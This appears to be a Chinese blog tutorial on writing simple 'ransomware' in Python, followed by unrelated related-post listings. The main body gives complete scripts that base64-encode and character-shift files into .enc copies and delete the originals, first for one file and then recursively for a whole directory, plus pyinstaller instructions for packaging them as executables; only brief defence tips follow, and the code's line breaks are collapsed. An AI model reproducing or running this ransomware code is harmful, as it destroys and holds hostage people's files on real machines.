| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。

简介

​ 勒索病毒能将电脑上的一些重要文件进行数据加密,将文件以二进制的形式进行加密处理,导致无法成功打开加密后的文件,要打开必须要解密,要解密必须要解密程序,从而让我们能够进行勒索。

​ 勒索病毒的原理不难,简单来说就是对数据的加密,而解密的办法一般只有我们自己知道,接下去就让我们来编写一些简单的勒索病毒吧!

前言

​ 勒索病毒更多情况下是.exe的可执行文件,一般情况下都是由编译型语言编写后编译形成。由于python属于解释性语言,无法直接生成可执行文件,所以我们可以安装使用 pyinstaller 模块,将 py 文件打包为 exe 文件执行。下面附上 pyinstaller 基础用法。

# 安装包
pip3 install pyinstaller# 进入 .py 文件所在目录,cmd执行如下命令,即可完成打包,更多内容请自行搜索
pyinstaller [...].py

开始编写

这里我们的勒索病毒是基于base64实现的,当然还可以使用别的方法,原理都是一样的。

下面就是攻击脚本全貌,照着注释食用。

对单个文件进行加密

# 下面这个是对一张图片进行的加密
import base64, os# 加密
def encrypt(filepath):# 打开我们想要加密的文件with open(file=filepath, mode='rb') as f1:data = base64.b64encode(f1.read()).decode()# base64加密后再对所有字符进行ASCII移位,这里选择移动5位content = ''for single_char in data:content += chr(ord(single_char) + 5)# 保存文本并且更改文件后缀with open(file=filepath + '.enc', mode='w') as f2:f2.write(content)# 删除原文件os.remove(filepath)# 解密 不做注释了,反正就是加密逆过来就行
def decrypt(filepath):with open(file=filepath, mode='r') as f1:data = f1.read()content = ''for single_char in data:content += chr(ord(single_char) - 5)new_filepath = filepath.replace('.enc', '')with open(file=new_filepath, mode='wb') as f2:f2.write(base64.b64decode(content.encode()))os.remove(filepath)if __name__ == '__main__':encrypt('file.jpeg')# decrypt('file.jpeg.enc')

对一个目录中的所有文件进行加密

对目录来说,我们先要浅学一下 os.walk() 目录遍历函数(很简单,可上网搜)

import base64, os# 加密
def encrypt(dir_path):filepaths = get_files_from_dir(dir_path)if not filepaths == '':# 打开我们想要加密的文件for filepath in filepaths:with open(file=filepath, mode='rb') as f1:data = base64.b64encode(f1.read()).decode()# base64加密后再对所有字符进行ASCII移位,这里选择移动5位content = ''for single_char in data:content += chr(ord(single_char) + 5)with open(file=filepath + '.enc', mode='w') as f2:f2.write(content)# 删除原文件os.remove(filepath)else:print('目录不存在')# 解密 不做注释了,反正就是加密逆过来就行
def decrypt(dir_path):filepaths = get_files_from_dir(dir_path)if not filepaths == '':for filepath in filepaths:with open(file=filepath, mode='r') as f1:data = f1.read()content = ''for single_char in data:content += chr(ord(single_char) - 5)new_filepath = filepath.replace('.enc', '')with open(file=new_filepath, mode='wb') as f2:f2.write(base64.b64decode(content.encode()))os.remove(filepath)else:print('目录不存在')# 目录遍历,返回遍历到的所有文件名
def get_files_from_dir(dir_path):if not os.path.exists(dir_path):return ''file_paths = []for root, directories, files in os.walk(dir_path):for filename in files:filepath = os.path.join(root, filename)file_paths.append(filepath)return file_pathsif __name__ == '__main__':encrypt('123') # 同目录下的一个 123 目录# decrypt('123')

简单试试

对单个文件

加密:

原来的图片:

加密后变成了文本:

解密后,重新回到了照片的形式

对文件夹

加密之前:

加密之后:

攻击猜想

​ 一般情况下,攻击者不会对整个文件进行加密,往往就是文件的一块,以达到快速污染磁盘文件的目的。一般情况下这串病毒代码可能会附着在一些小软件中(.exe),所以非官方途径的下载必须要小心,运行之后可能就会对磁盘文件产生污染,而且有的针对性的勒索病毒还不容易被查杀,就如上面的代码,可能在电脑看来都是非常正常的程序,但是却会产生很大的破坏力。

防范

  • 少下非官方途径的文件
  • 如果真的被感染,要迅速断电,防止更多文件被污染(一般情况下)

【Python】勒索病毒模拟相关推荐

  1. python 勒索病毒 源码_python生成的exe被360识别为勒索病毒原因及解决方法

    代码如下,使用了 os 库遍历文件夹,还有判断指定路径是文件还是文件夹.换成了 pathlib 库来实现我需要的功能,问题解决. import os def adjust_os(path): ''' ...

  2. python模拟勒索病毒

    python模拟勒索病毒 勒索病毒原理 [定义及传播]勒索病毒,是一种新型电脑病毒,主要以邮件.程序木马.网页挂马的形式进行传播.关于勒索病毒,最通俗易懂的理解就是,黑客通过攻击你的系统,把你的重要文 ...

  3. Python 技术篇-解决转化后的exe程序被360误杀问题实例演示,python生成的exe被360识别为勒索病毒原因及解决方法

    我用 python 做了两个功能相似的程序,A 程序没问题,B 程序有问题,被 360 误杀,对比后发现 B 程序引用了 os 库,替换成了别的库实现 os 库的功能,新的程序不再有问题.罪魁祸首就是 ...

  4. Python实现简单的勒索病毒

    python实现勒索病毒 勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可) 问题:怎么在目标主机运行勒索病毒? 首先可以理由文件上传.远程代码执 ...

  5. Python实现简易勒索病毒

    一.勒索病毒 简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件.加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法.RSA是一 ...

  6. [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了Vulnhub靶机渗透的DC-1题目,通过信息收集.CMS漏洞搜索.D ...

  7. 哈佛博士主导的一桩勒索病毒离奇历史

    [CSDN 编者按]近来随着勒索恶意软件的不断迭代,黑客的手段变得越来越无懈可击.事实上,第一个勒索软件病毒的出现比电子邮件.甚至我们所知道的互联网还要早.计算机一直都不是可以信赖的机器,错误的点击. ...

  8. 快学习使用Linux吧,避免勒索病毒大肆入侵

    2019独角兽企业重金招聘Python工程师标准>>> 从昨晚开始,比特币勒索病毒 Wanna Decryptor / WannaCry 陆续在全球各地大规模爆发.先是情况最糟的英国 ...

  9. 国内首个比特币勒索病毒制作者落网,但过程有点好笑...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 来源:扩展迷EXTFANS 所谓比特币勒索病毒,就是某一 ...

  10. 国内勒索病毒疫情严重 每天十多万台电脑被感染

    2019独角兽企业重金招聘Python工程师标准>>> 4月10日消息,国内安全团队近日发出安全警报,报告称国内勒索病毒疫情非常严峻,政府.企业和个人用户都在被攻击之列,而系统漏洞是 ...

最新文章

  1. 编译安装MySQL5.6失败的相关问题解决方案
  2. LeetCode OJ:Construct Binary Tree from Preorder and Inorder Traversal(从前序以及中序遍历结果中构造二叉树)...
  3. 数据结构与算法之打印两个有序链表公共部分和判断一个链表是否具有回文结构
  4. C# 内存法图像处理
  5. 一位 女生在第一次应聘软件开发工作时成功被淘汰的例子
  6. java math tan,Java Math.tan() 方法
  7. java怎么在哪写代码_java把这段代码不写死问题出现在哪儿
  8. 1流式细胞术荧光比值计算_浅谈流式细胞仪的工作原理和应用
  9. Akka网络编程基本介绍
  10. php代码的网页框架,easyweb: easyweb是一个简单易用的php框架,实现了路由、容错等处理,集成composer代码生态,可快速创建中小型网站应用...
  11. https://www.cnblogs.com/h2zZhou/p/5440271.html
  12. css切割图片是什么,两种方法实现css切割图片,只取图片中一部分
  13. 百度开源的 71 个项目,不了解一下?
  14. 视频文件转换器有哪些?什么视频文件转换器好用?
  15. 英特尔400系列服务器芯片组,Intel 400晶片组家族、对应Z490主机板型号曝光,搭配10代Comet Lake-S处理器必备 – 穷极领域...
  16. 人性的弱点 --卡耐基
  17. 2019-04-22T23:59:59.000Z
  18. 基于glut的OpenGL框架(一)
  19. 使用fontawesome字体
  20. 电商数据分析-SQL

热门文章

  1. Pixy通过TTL转USB与电脑串口调试助手显示坐标
  2. 任务悬赏APP系统源码-活动营销三级分销返佣积分商城版
  3. activiti工作流在线表单设计功能(activiti + ueditor + Ueditor Web Form Design扩展 )
  4. 【UE4】UE4GamePlay架构
  5. 使用MyBatis快速生成代码
  6. DB9 公头母头引脚定义及连接
  7. STM32的CAN波特率设置方法详解
  8. vue+springboot实现登录验证码(前后端分离)
  9. Matlab 获取主板、硬盘、CPU、BIOS和网卡序列号
  10. matlab——knnsearch用法介绍